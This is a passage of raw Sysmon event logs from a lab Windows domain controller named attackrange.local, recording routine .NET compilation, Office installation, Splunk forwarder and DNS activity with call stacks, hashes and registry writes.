14:44:17.273{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-F808-00000000F001}6252C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.273{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\logs\setup\parentTelemetryCache.otc.session-journalMD5=15D0EF9B9F3579E9391F6067859CA155,SHA256=FBE2C6FB12C79B2A29F6066ECBE8CE6DFF31FBEE8A8F97C86185A9C14BB434F5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.164{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-F708-00000000F001}7080C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.148{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-F708-00000000F001}7080C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.148{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-F708-00000000F001}7080C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000042717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.043{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59227-false20.44.10.122-443https 354300x800000000000000042716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.900{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59140- 354300x800000000000000042715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.549{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59226-false10.0.1.12-8000- 10341000x800000000000000042714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.070{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F41-613B-F608-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.055{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F41-613B-F608-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.055{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F41-613B-F608-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:17.055{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Users\ADMINI~1\AppData\Local\Temp\BIT69DC.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013821Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:17.224{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24090BA2092191CD4634DFB8B2D46A69,SHA256=A0E30895E135069E7E6ECFABA0D094E4FA2C408D80EAE4B9E86FE5326214C85E,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000042843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.339{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59229-false2.18.234.129a2-18-234-129.deploy.static.akamaitechnologies.com443https 354300x800000000000000042842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.331{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55335- 354300x800000000000000042841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.256{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59228-false52.142.114.176-443https 354300x800000000000000042840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.224{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56705- 23542300x800000000000000042839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.914{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B5653BB229B16D6371A4D64C13837EA3,SHA256=8D6DAE61DFF137C60B9CA26C8749DFA022012341B94153D25D0AB3269A3E5F0B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.914{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=BD115F69AA93783EC129C2E1B5FF923C,SHA256=40D0C2663F86778365723E0444D93D608C18FC6197784F72EF6FFBEAC41C7D66,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.914{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=25586D36D0B6ECF0F193F05242AE68B6,SHA256=E5A27EDA2E3FF48AAD12D92833BF34317B3F74C63201FA5B7A363BA70A93D3AF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.914{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F42-613B-0509-00000000F001}6968C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.898{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000042831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:18.898{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{ca077273-298e-ed4f-9126-4d042ba08f7a}\Root\InventoryApplicationFile\officesetup.exe|4652edac3f357508\BinProductVersion16.0.13801.0 13241300x800000000000000042830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:18.898{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{ca077273-298e-ed4f-9126-4d042ba08f7a}\Root\InventoryApplicationFile\officesetup.exe|4652edac3f357508\LinkDate02/27/2021 04:29:24 13241300x800000000000000042829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:18.898{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{ca077273-298e-ed4f-9126-4d042ba08f7a}\Root\InventoryApplicationFile\officesetup.exe|4652edac3f357508\Publishermicrosoft corporation 13241300x800000000000000042828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:18.898{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{ca077273-298e-ed4f-9126-4d042ba08f7a}\Root\InventoryApplicationFile\officesetup.exe|4652edac3f357508\LowerCaseLongPathc:\temp\officesetup.exe 10341000x800000000000000042827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.883{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F42-613B-0509-00000000F001}6968C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.883{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F42-613B-0509-00000000F001}6968C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000042825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.820{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+2b221|c:\windows\system32\pcasvc.dll+f70d|c:\windows\system32\pcasvc.dll+20e94|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.820{7BD73061-6F42-613B-0309-00000000F001}71441224C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.805{7BD73061-6E8E-613B-1107-00000000F001}41166636C:\Windows\system32\msiexec.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\apphelp.dll+20ffd|C:\Windows\system32\apphelp.dll+209c1|C:\Windows\system32\Msi.dll+19e41d|C:\Windows\system32\Msi.dll+2eaae|C:\Windows\system32\Msi.dll+47505|C:\Windows\system32\Msi.dll+10a8c5|C:\Windows\system32\Msi.dll+109ae6|C:\Windows\system32\Msi.dll+f407f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 